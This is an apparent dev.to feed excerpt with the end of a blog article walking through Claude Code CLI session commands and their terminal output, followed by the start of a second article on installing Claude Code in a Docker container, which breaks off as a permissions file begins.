  ❯ 1. Default &lt;span class="o"&gt;(&lt;/span&gt;recommended&lt;span class="o"&gt;)&lt;/span&gt;  Use the default model &lt;span class="o"&gt;(&lt;/span&gt;currentlyclaude-sonnet-4.6&lt;span class="o"&gt;)&lt;/span&gt; ·
                              &lt;span class="nv"&gt;$3&lt;/span&gt;/&lt;span class="nv"&gt;$15&lt;/span&gt; per Mtok
    2. Sonnet &lt;span class="o"&gt;(&lt;/span&gt;1M context&lt;span class="o"&gt;)&lt;/span&gt;    Sonnet 4.6 &lt;span class="k"&gt;for &lt;/span&gt;long sessions · &lt;span class="nv"&gt;$3&lt;/span&gt;/&lt;span class="nv"&gt;$15&lt;/span&gt; per Mtok
    3. Opus &lt;span class="o"&gt;(&lt;/span&gt;1M context&lt;span class="o"&gt;)&lt;/span&gt;      Opus 4.6 with 1M context · Most capable &lt;span class="k"&gt;for
                              &lt;/span&gt;complex work
    4. Haiku ✔                Haiku 4.5 · Fastest &lt;span class="k"&gt;for &lt;/span&gt;quick answers · &lt;span class="nv"&gt;$1&lt;/span&gt;/&lt;span class="nv"&gt;$5&lt;/span&gt; per
                              Mtok
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/effort&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When LLM models with thinking capabilities are invoked, they will work on a prompt self-reflectively, analyzing and checking their own output before formulating a response to the user. This amount of "thinking" can be controlled by the effort parameter with four values: &lt;code&gt;max&lt;/code&gt;, &lt;code&gt;high&lt;/code&gt;, &lt;code&gt;medium&lt;/code&gt;, &lt;code&gt;low&lt;/code&gt;. The default value in Claude is &lt;code&gt;medium&lt;/code&gt;, recommended for balancing speed, cost, and task quality, which can be observed by fewer absolute tool calls than on other effort levels.&lt;/p&gt;

&lt;p&gt;Here is an example of changing the parameter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────
❯ /effort  &lt;span class="o"&gt;[&lt;/span&gt;low|medium|high|max|auto]
─────────────────────────────────────
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/login&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;To use an Anthropic account as an LLM provider, either direct API invocation,&lt;br&gt;
called console account, or a subscription plan with rolling 5-hour/weekly/monthly token budgets, can be used.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;login&lt;/code&gt; command authenticates the current session with one of these options. Select one of the options, then an authorization request to Anthropic is shown. Open the link in your browser, then paste the auth code. Once completed, credentials are persisted in &lt;code&gt;~/.claude/settings.json&lt;/code&gt;, and do not need to be entered when starting the next session.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /login
 Select login method:

 ❯ 1. Claude account with subscription · Pro, Max, Team, or Enterprise

   2. Anthropic Console account · API usage billing

   3. 3rd-party platform · Amazon Bedrock, Microsoft Foundry, or Vertex AI
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/logout&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When using an Anthropic subscription, session credentials are persisted in the &lt;code&gt;~/.claude/settings.json&lt;/code&gt; file. This command revokes the credentials at the Anthropic CLI, removes the credentials from the file, and terminates the session.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /logout
Successfully logged out from your Anthropic account.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Session Reflection
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/cost&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;During a long session, lots of tokens will be exchanged between your computer and an LLM provider. This command calculates the total amount of costs, but that’s opinionated toward using an API subscription model with Anthropic. For all other providers, you can add token costs in the manual model definition, and then get an estimate of the incurred costs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/cost
  ⎿  Total cost:            &lt;span class="nv"&gt;$0&lt;/span&gt;.79
     Total duration &lt;span class="o"&gt;(&lt;/span&gt;API&lt;span class="o"&gt;)&lt;/span&gt;:  1m 48s
     Total duration &lt;span class="o"&gt;(&lt;/span&gt;wall&lt;span class="o"&gt;)&lt;/span&gt;: 6m 29s
     Total code changes:    151 lines added, 0 lines removed
     Usage by model:
             claude-haiku-4.5:  51.6k input, 3.1k output, 904.8k cache &lt;span class="nb"&gt;read&lt;/span&gt;, 0 cache
      write &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;.79&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;code&gt;/usage&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;When using Claude Code with an Anthropic subscription plan, this command shows how much of the rolling 5-hour and weekly usage limits is depleted.&lt;/p&gt;

&lt;p&gt;This command was removed in &lt;code&gt;v2.1.91&lt;/code&gt;, but for completeness, here is an example of its output.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/usage

Plan: Claude Max 5x &lt;span class="o"&gt;(&lt;/span&gt;subscription&lt;span class="o"&gt;)&lt;/span&gt;

Current 5-hour window
  Used:       18,400 tokens &lt;span class="o"&gt;(&lt;/span&gt;23%&lt;span class="o"&gt;)&lt;/span&gt;
  Remaining:  61,600 tokens &lt;span class="o"&gt;(&lt;/span&gt;77%&lt;span class="o"&gt;)&lt;/span&gt;
  Resets &lt;span class="k"&gt;in&lt;/span&gt;:  2h 12m

Weekly usage
  All models:   38% used &lt;span class="o"&gt;(&lt;/span&gt;resets Thu 04:00&lt;span class="o"&gt;)&lt;/span&gt;
  Opus only:     4% used
  Sonnet only:   2% used

Rate limit status: OK &lt;span class="o"&gt;(&lt;/span&gt;within all limits&lt;span class="o"&gt;)&lt;/span&gt;
Extra usage:       Disabled

When you use a custom model definition, these models are mapped according to the environment variables &lt;span class="s2"&gt;"ANTHROPIC_DEFAULT_HAIKU_MODEL"&lt;/span&gt;,  &lt;span class="s2"&gt;"ANTHROPIC_DEFAULT_SONNET_MODEL"&lt;/span&gt;, and &lt;span class="s2"&gt;"ANTHROPIC_DEFAULT_OPUS_MODEL"&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/status&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Gain a quick overview about the CLI version, selected model, and other account information.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
   Status   Config   Usage   Stats

Version: 2.1.91
  Session name: universal-skill-converter-refinement
  Session ID: 9bd58391-93ff-4c59-8d64-31d652281c14
  cwd: /opt/claude/universal-skills-converter/universal-skill-converter
  Auth token: ANTHROPIC_AUTH_TOKEN
  Anthropic base URL: https://api.z.ai/api/anthropic

  Model: claude-sonnet-4.6 &lt;span class="o"&gt;(&lt;/span&gt;claude-sonnet-4.6&lt;span class="o"&gt;)&lt;/span&gt;
  Setting sources: User settings, Enterprise managed settings &lt;span class="o"&gt;(&lt;/span&gt;file&lt;span class="o"&gt;)&lt;/span&gt;

  System Diagnostics
   ⚠ No write permissions &lt;span class="k"&gt;for &lt;/span&gt;auto-updates &lt;span class="o"&gt;(&lt;/span&gt;requires &lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="sb"&gt;``&lt;/span&gt;

Show essential CLI, model, and account information
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the &lt;code&gt;config&lt;/code&gt; tab.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
   Status   Config   Usage   Stats

  ╭─────────────────────────────────────────────────────────────────╮
  │ ⌕ Search settings…                                                                                                              │ 
  ╰─────────────────────────────────────────────────────────────────╯

    Auto-compact                              &lt;span class="nb"&gt;true
    &lt;/span&gt;Show tips                                 &lt;span class="nb"&gt;true
    &lt;/span&gt;Reduce motion                             &lt;span class="nb"&gt;false
    &lt;/span&gt;Thinking mode                             &lt;span class="nb"&gt;true
    &lt;/span&gt;Fast mode &lt;span class="o"&gt;(&lt;/span&gt;Opus 4.6 only&lt;span class="o"&gt;)&lt;/span&gt;                 &lt;span class="nb"&gt;false
    &lt;/span&gt;Rewind code &lt;span class="o"&gt;(&lt;/span&gt;checkpoints&lt;span class="o"&gt;)&lt;/span&gt;                 &lt;span class="nb"&gt;true
    &lt;/span&gt;Terminal progress bar                     &lt;span class="nb"&gt;true
    &lt;/span&gt;Show turn duration                        &lt;span class="nb"&gt;true
    &lt;/span&gt;Default permission mode                   Default
    Respect .gitignore &lt;span class="k"&gt;in &lt;/span&gt;file picker         &lt;span class="nb"&gt;true
    &lt;/span&gt;Always copy full response &lt;span class="o"&gt;(&lt;/span&gt;skip /copy     &lt;span class="nb"&gt;false
  &lt;/span&gt;picker&lt;span class="o"&gt;)&lt;/span&gt;
    Auto-update channel                &lt;span class="o"&gt;(&lt;/span&gt;CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAF
                                       FIC &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

    Theme                                     Dark mode
    Notifications                             Auto
    Language                                  Default &lt;span class="o"&gt;(&lt;/span&gt;English&lt;span class="o"&gt;)&lt;/span&gt;
    Editor mode                               normal
    Show PR status footer                     &lt;span class="nb"&gt;true
    &lt;/span&gt;Model                                     sonnet[1m]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/stats&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Every interaction with Claude is logged inside the &lt;code&gt;./claude&lt;/code&gt; directory, with a path-prefix of the current working directory, and session files in JSONL format. These files contain timestamps, and can be used to create a visual representation of usage patterns.&lt;/p&gt;

&lt;p&gt;Here are my current stats:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
      Overview   Models

        Apr May Jun Jul Aug Sep Oct Nov Dec Jan Feb Mar Apr
        ···············································█▓·▒▒
    Mon ··················································▒
        ···················································
    Wed ················································░··
        ················································▒··
    Fri ················································█▓▓
        ··············································██░▓░

        Less ░ ▒ ▓ █ More

    All &lt;span class="nb"&gt;time&lt;/span&gt; · Last 7 days · Last 30 days

    Favorite model:claude-haiku-4.5     Total tokens: 4.7m

    Sessions: 52                    Longest session: 20h 28m 13s
    Active days: 15/30              Longest streak: 4 days
    Most active day: Mar 8          Current streak: 3 days

    Your longest session is ~6x longer than watching Titanic

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the &lt;code&gt;models&lt;/code&gt; tab:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; ─────────────────────────────────────────────────────────────────
      Overview   Models


    Tokens per Day
      861k ┼──╮
      753k ┤  │
      646k ┤  ╰──╮
      538k ┤     │
      430k ┤     ╰──╮              ╭──╮     ╭──╮
      323k ┤     ╭──╮              │  │  ╭──╯  │
      215k ┤  ╭──╯  │              │  ╰──╯     │
      108k ┼──╯     │─────╮  ╭─────╮        ╭──│  ╭──
         0 ┼────────╰────────╯─────╰─────────────────
            Mar 7       Mar 18      Mar 28      Apr 4
    ●claude-haiku-4.5 · ●claude-sonnet-4.6 · ●claude-opus-4.6

    All &lt;span class="nb"&gt;time&lt;/span&gt; · Last 7 days · Last 30 days

    ●claude-haiku-4.5 &lt;span class="o"&gt;(&lt;/span&gt;51.4%&lt;span class="o"&gt;)&lt;/span&gt;                 ●claude-opus-4.6 &lt;span class="o"&gt;(&lt;/span&gt;19.3%&lt;span class="o"&gt;)&lt;/span&gt;
      In: 2.1m · Out: 350.9k                In: 720.4k · Out: 187.2k
    ●claude-sonnet-4.6 &lt;span class="o"&gt;(&lt;/span&gt;29.3%&lt;span class="o"&gt;)&lt;/span&gt;
      In: 1.3m · Out: 47.9k
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/config&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The many settings of Claude Code can be scattered along configuration files. This command allows a top-level overview about all defined settings for a particular session context. It also allows you to edit these settings, which will be persisted in the local &lt;code&gt;.claude&lt;/code&gt; folder, the scope which overrides all other settings except managed ones.&lt;/p&gt;

&lt;p&gt;As seen in other dialogues too, this one renders vertical tabs, starting with the "Config" section.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
   Status   Config   Usage   Stats


  ╭─────────────────────────────────────────────────────────────────╮
  │ ⌕ Search settings…                                                                                                              │ 
  ╰─────────────────────────────────────────────────────────────────╯

    Auto-compact                              &lt;span class="nb"&gt;true
    &lt;/span&gt;Show tips                                 &lt;span class="nb"&gt;true
    &lt;/span&gt;Reduce motion                             &lt;span class="nb"&gt;false
    &lt;/span&gt;Thinking mode                             &lt;span class="nb"&gt;true
    &lt;/span&gt;Rewind code &lt;span class="o"&gt;(&lt;/span&gt;checkpoints&lt;span class="o"&gt;)&lt;/span&gt;                 &lt;span class="nb"&gt;true
    &lt;/span&gt;Verbose output                            &lt;span class="nb"&gt;false
    &lt;/span&gt;Terminal progress bar                     &lt;span class="nb"&gt;true
    &lt;/span&gt;Show turn duration                        &lt;span class="nb"&gt;true
    &lt;/span&gt;Default permission mode                   Default
    Respect .gitignore &lt;span class="k"&gt;in &lt;/span&gt;file picker         &lt;span class="nb"&gt;true
    &lt;/span&gt;Always copy full response &lt;span class="o"&gt;(&lt;/span&gt;skip /copy     &lt;span class="nb"&gt;false
  &lt;/span&gt;picker&lt;span class="o"&gt;)&lt;/span&gt;
    Auto-update channel                       latest
    Theme                                     Dark mode
    Notifications                             Auto
    Output style                              default
    Language                                  Default &lt;span class="o"&gt;(&lt;/span&gt;English&lt;span class="o"&gt;)&lt;/span&gt;
    Editor mode                               normal
    Show PR status footer                     &lt;span class="nb"&gt;true
    &lt;/span&gt;Model                                     claude-haiku4.5
    Auto-connect to IDE &lt;span class="o"&gt;(&lt;/span&gt;external terminal&lt;span class="o"&gt;)&lt;/span&gt;   &lt;span class="nb"&gt;false&lt;/span&gt;
  ↓ 1 more below

  Type to filter · Enter/↓ to &lt;span class="k"&gt;select&lt;/span&gt; · ↑ to tabs · Esc to clear
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The remaining two tabs are just aliases for the &lt;code&gt;/usage&lt;/code&gt; and &lt;code&gt;/stats&lt;/code&gt; commands.&lt;/p&gt;

&lt;h3&gt;
  
  
  /update-config
&lt;/h3&gt;

&lt;p&gt;This command triggers an internal skill in which you can instruct a cinfig change.&lt;/p&gt;

&lt;p&gt;Here is an example output when modifying the thinking mode.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/update-config Configure the thinking mode.

∴ Thinking…

  The user wants to configure thinking mode. According to the update-config skill, thinking mode is configured using alwaysThinkingEnabled &lt;span class="o"&gt;(&lt;/span&gt;a simple
  setting that can use the Config tool&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;

  Let me clarify what they want to configure since &lt;span class="s2"&gt;"thinking mode"&lt;/span&gt; could mean:

- Enable/disable thinking &lt;span class="o"&gt;(&lt;/span&gt;alwaysThinkingEnabled: &lt;span class="nb"&gt;true &lt;/span&gt;or &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

─────────────────────────────────────────────────────────────────
 ☐ Thinking

Would you like to &lt;span class="nb"&gt;enable &lt;/span&gt;or disable thinking mode?

❯ 1. Enabled
     Always show thinking process &lt;span class="o"&gt;(&lt;/span&gt;default &lt;span class="k"&gt;for &lt;/span&gt;Haiku&lt;span class="o"&gt;)&lt;/span&gt;
  2. Disabled
     Disable extended thinking
  3. Type something.
─────────────────────────────────────────────────────────────────
  4. Chat about this

Enter to &lt;span class="k"&gt;select&lt;/span&gt; · ↑/↓ to navigate · Esc to cancel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/export&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The complete conversation log is serialized into JSONL files. User prompts, and the LLMs answers, are rendered in plain text in the terminal. And this representation can be exported into the clipboard or a file.&lt;/p&gt;

&lt;p&gt;Here is an example export during working on my skill-converter project.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;╭─── Claude Code v2.1.91 ──────────────────────────────────────────────────────╮
│                                           │ Tips &lt;span class="k"&gt;for &lt;/span&gt;getting started         │
│               Welcome back!               │ Run /init to create a CLAUDE.md… │
│                                           │ ──────────────────────────────── │
│                  ▐▛███▜▌                  │ Recent activity                  │
│                 ▝▜█████▛▘                 │ No recent activity               │
│                   ▘▘ ▝▝                   │                                  │
│                                           │                                  │
│     claude-haiku-4.5 · API Usage Billing  │                                  │
│   /opt/claude/universal-skill-converter   │                                  │
╰──────────────────────────────────────────────────────────────────────────────╯

❯ /rename refactor-to-python
  ⎿  Session renamed to: refactor-to-python

❯ Refactor this app to python. Write the plan file &lt;span class="s2"&gt;"refactor-to-python.md"&lt;/span&gt;

● I&lt;span class="s1"&gt;'ll help you refactor this app to Python. Let me start by exploring the
  codebase to understand its structure and functionality.

● Explore(Explore main codebase structure)
  ⎿  Done (42 tool uses · 45.7k tokens · 5m 21s)
  (ctrl+o to expand)

  Searched for 3 patterns (ctrl+o to expand)

● Now I understand the codebase completely. Let me create a plan file for
  refactoring to Python.

● Updated plan
  ⎿  /plan to preview

● I'&lt;/span&gt;ve created a comprehensive refactoring plan. Let me confirm a few key design
   choices with you:

● User answered Claude&lt;span class="s1"&gt;'s questions:
  ⎿  · Which Python CLI framework should I use? → Click
     · Should I keep the same package structure and CLI command names? → Yes,
     identical
     · What test coverage target should I aim for? → &amp;gt;70%
     · Should I use async/await for file operations? → Sync (blocking)

● Updated plan
  ⎿  /plan to preview
...

❯ /export
  ⎿  Conversation copied to clipboard
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/insights&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;All Claude Code interactions are stored in the &lt;code&gt;~./claude&lt;/code&gt; directory, which includes projects, sessions, and all prompts. This command checks all this data to provide a thorough analysis of how you use Claude in the form of an HTML document. It includes a summary of the projects you worked on, your style of interacting with Claude, statistics about session time and duration, and several helpful prompt additions to be put into the &lt;code&gt;CLAUDE.md&lt;/code&gt; file. Finally, usage patterns are condensed into skill and hook suggestions.&lt;/p&gt;

&lt;p&gt;Here are screenshots of my interactions:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh3h9aa4t7kxjlmx0m9n0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh3h9aa4t7kxjlmx0m9n0.png" width="800" height="646"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flaosc8i9sgtqo0qadaf5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flaosc8i9sgtqo0qadaf5.png" width="800" height="502"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;When the Claude Code CLI starts, a new session is created. Sessions are the core context of any interactions, and were covered extensively in this blog article. You gained a general overview about sessions, including the directory layout, JSONL files containing a trace of user, assistant, and tools calls, and the different types of entries in these files. These structures form the backbone commands about session configuration and session reflection. For session configuration, you learned about a) adding additional working directories, b) how to rename a session, c) selecting the LLM to be used in the current session, d) controlling the amount of tokens spent on "thinking", d) how to perform login and e) logout of an Anthropic subscription. For session reflection, you saw how to a) estimate costs, b) track token consumption, c) see all applicable configuration items, d) see statistics about your Claude Code sessions, e) get an editable text-overview about all currently active settings, f) instruct a config change, g) export user prompts and LLM answers, and h) gain valuable insights and improvements to using Claude Code, including additional sections to be inserted into CLAUDE.md, as well as skills and hooks for frequent changes.&lt;/p&gt;

</description>
      <category>claude</category>
    </item>
    <item>
      <title>Claude Code: Installation &amp; Setup of the Agentic Coding Tool</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Mon, 08 Jun 2026 05:01:30 +0000</pubDate>
      <link>https://dev.to/admantium/claude-code-installation-setup-of-the-agentic-coding-tool-37gb</link>
      <guid>https://dev.to/admantium/claude-code-installation-setup-of-the-agentic-coding-tool-37gb</guid>
      <description>&lt;p&gt;In 2024, the evolution of Large Language Models and their utilization in software applications and webpage interfaces started. The GPT-4 model from OpenAI showed unparalleled capabilities for text generation and information assembly. In 2026, two trends merged: The continued evolution of model complexity and capabilities, as well as sophisticated frameworks and libraries that greatly enhanced agentic capabilities of LLM invocation.&lt;/p&gt;

&lt;p&gt;Using LLMs as agents once was effectively a continued human-in-the-loop invocation where function calls needed to be monitored and corrected. But now, truly autonomous agents evolved. They apply function calling and function execution precisely, analyze errors and apply solutions when needed. They can fully interact with files and sockets on a computer, making autonomous code generation and even system operations a reality.&lt;/p&gt;

&lt;p&gt;On the forefront of agentic tools is the CLI tool &lt;a href="https://claude.com/product/claude-code" rel="noopener noreferrer"&gt;Claude Code&lt;/a&gt;. It promises and delivers excellent code generation capabilities, supporting developers of all maturity levels with increased productivity.&lt;/p&gt;

&lt;p&gt;This article starts a new blog series about agentic tools, and starts with exploring the Claude Code CLI systematically. The particular focus for this article is the installation and initial configuration of Claude Code. Learn how to use a Docker container as a safe sandbox with fine-grained permissions and access only to files that you will work on.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;claude_code v2.1.91&lt;/code&gt;, published on 2026-04-02. Examples and most CLI commands should work with newer versions too&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Every character, number, and symbol in this article was typed manually - with the addition of verbose copies from log messages and screenshots. While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/claude01_introduction/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Docker Container Setup
&lt;/h2&gt;

&lt;p&gt;Claude Code is an agentic tool with full support for creating, editing, and deleting any files on a computer or laptop. It can be installed natively via an install script, which essentially copies a platform-specific binary and required libraries, or as an NPM packages and its requirements.&lt;/p&gt;

&lt;p&gt;To prevent accidental file modifications on your main computer, I recommend to setup a Docker image and start a Docker container that mounts your specific directories.&lt;/p&gt;

&lt;h3&gt;
  
  
  Directory Structure
&lt;/h3&gt;

&lt;p&gt;Setup the following directory and file structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
├── Dockerfile
├── build
│   ├── managed-settings.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Dockerfile
&lt;/h3&gt;

&lt;p&gt;The Docker image has these features:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Based on the official NodeJS LTS image&lt;/li&gt;
&lt;li&gt;Installs &lt;code&gt;claude-code&lt;/code&gt; as an NPM package&lt;/li&gt;
&lt;li&gt;Copies default security permissions&lt;/li&gt;
&lt;li&gt;Runs as a non-root user that can become root with a dedicated password&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; node:24-trixie&lt;/span&gt;

&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /opt/claude&lt;/span&gt;

&lt;span class="k"&gt;RUN &lt;/span&gt;apt-get update &lt;span class="se"&gt;\
&lt;/span&gt;  &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--no-install-recommends&lt;/span&gt; &lt;span class="nt"&gt;--yes&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    bubblewrap &lt;span class="se"&gt;\
&lt;/span&gt;    nano &lt;span class="se"&gt;\
&lt;/span&gt;    socat &lt;span class="se"&gt;\
&lt;/span&gt;    &lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;    vim &lt;span class="se"&gt;\
&lt;/span&gt;  &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; /var/lib/apt/lists/&lt;span class="k"&gt;*&lt;/span&gt;

&lt;span class="k"&gt;RUN &lt;/span&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; @anthropic-ai/claude-code@2.1.91 &lt;span class="se"&gt;\
&lt;/span&gt;  &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /etc/claude-code

&lt;span class="k"&gt;ARG&lt;/span&gt;&lt;span class="s"&gt; SUDO_PASSWORD&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"node:&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SUDO_PASSWORD&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | chpasswd
&lt;span class="k"&gt;RUN &lt;/span&gt;usermod &lt;span class="nt"&gt;-aG&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;node

&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; build/ /etc/claude-code/&lt;/span&gt;

&lt;span class="k"&gt;ENV&lt;/span&gt;&lt;span class="s"&gt; PATH="/home/node/.local/bin:${PATH}"&lt;/span&gt;
&lt;span class="k"&gt;USER&lt;/span&gt;&lt;span class="s"&gt; node&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="s"&gt; ["sleep", "infinity"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use this Dockerfile as a staging point. If you are developing a Python, Go, or Rust project, add the required libraries and base tools to this file.&lt;/p&gt;

&lt;h3&gt;
  
  
  Permissions
&lt;/h3&gt;

&lt;p&gt;When Claude Code starts, a permission dialog for the current folder is opened. By confirming this, read access to all files in this folder is provided. From there on, all tool invocations, from bash commands to binaries, need to be approved too. Certain commands can accidently expose files that contains secrets, run commands that print environment variables, or access network and Docker sockets.&lt;/p&gt;

&lt;p&gt;To prevent this access, a permission file can be used. This file should be placed at an OS specific directory so that it provides global rules for all Claude Code sessions. In a Linux environment, the permission file should be placed at the location &lt;code&gt;/etc/claude-code/managed-settings.json&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Paste the following content to prevent accidental exposure of common secrets, and reduce model invocation calls for telemetry.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
